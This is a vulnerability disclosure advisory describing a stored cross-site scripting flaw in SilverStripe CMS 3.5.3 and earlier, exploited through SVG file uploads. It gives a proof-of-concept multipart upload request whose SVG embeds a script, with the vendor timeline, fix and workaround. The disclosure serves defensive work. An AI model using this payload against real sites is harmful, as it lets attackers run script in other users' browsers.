SilverStrip CMS 3.5.3 Cross Site Scripting

SilverStripe CMS versions 3.5.3 and below suffer from a persistent cross site scripting vulnerability.


MD5 | 4488225884421348eca56ef59a92eb22

SEC Consult Vulnerability Lab Security Advisory < 20170914-1 >
=======================================================================
title: Persistent Cross-Site Scripting
product: SilverStripe CMS
vulnerable version: <=3.5.3
fixed version: 3.6.1
impact: Medium
homepage: https://www.silverstripe.org/
found: 2017-03-15
by: S. Tripathy (Office Singapore)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

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=======================================================================

Vendor description:
-------------------
"SilverStripe is the intuitive content management system and flexible
framework loved by editors and developers alike. Equip your web teams
to achieve outstanding results."

Source: https://www.silverstripe.org/


Business recommendation:
------------------------
SEC Consult recommends to do a proper output sanitization on uploaded
SVG files. Users should upgrade to version 3.6.1 or higher. A thorough
source code analysis is recommended.


Vulnerability overview/description:
-----------------------------------
1) Persistant Cross Site Scripting
Due to the lack of input validation and output sanitization,
an attacker can upload SVG files containing malicious JavaScript
code to be executed under a victim's browser context.


Proof of concept:
-----------------
1) Persistant Cross Site Scripting
Example: XSS using SVG File Upload

The file upload function in the CMS allows to upload SVG files.
But it doesn't sanitize output of the file which leads to XSS.

There are 2 vulnerable instances of the same vulnerability.
1: The "Insert Media" option in the content editor.
2: The path "/admin/assets/add/"

During editing contents or creating a new page an attacker can upload
an SVG image using the "Insert Image" button.

The request below shows that an attacker can upload an SVG file with
malicious payloads.
======================================================================================
POST /admin/pages/edit/EditorToolbar/MediaForm/field/AssetUploadField/upload HTTP/1.1
Host: $host
---snip---
Cookie: PHPSESSID=esqs7da6338k0sgj7itn3tcil7; bypassStaticCache=1
Connection: close

-----------------------------969190451574
Content-Disposition: form-data; name="SecurityID"

undefined
-----------------------------969190451574
Content-Disposition: form-data; name="AssetUploadField"; filename="evilsvgfile.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">


<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('XSS!');
</script>
</svg>
-----------------------------969190451574--
======================================================================================


Using the same process an attacker can also upload a malicious SVG file in the path
"/admin/assets/add/".


A low privilege editor user such as a "Content Editor" can also exploit this
vulnerability.


Vulnerable / tested versions:
-----------------------------
The following version is affected by the identified vulnerabilities which
was the most recent version at the time of discovery:

Silverstripe CMS version <=3.5.3


Vendor contact timeline:
------------------------
2017-03-22: Contacting vendor through security@silverstripe.org
2017-03-23: Vendor provided public key certificates
2017-03-23: Sent the advisory to vendor
2017-04-17: Follow-up with vendor on the status
2017-04-17: Vendor responded work in progress
2017-05-09: Follow-up with vendor on the status, no response from the vendor
2017-05-24: Informed the vendor on releasing the advisory
2017-05-31: Vendor: vulnerability has been fixed, verified that it is not
2017-06-07: Vendor confirmed that the issue is not fixed and it will be fixed in
the next release.
2017-06-27: Silverstripe Version 3.6.1 released
2017-09-14: Public release of advisory


Solution:
---------
Upgrade to SilverStripe v3.6.1
https://www.silverstripe.org/download/

Changelog: https://docs.silverstripe.org/en/3/changelogs/3.6.1


Workaround:
-----------
Do not allow uploading an SVG file.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
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recommendation about the risk profile of new technologies.

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EOF Siddhartha Tripathy / @2017


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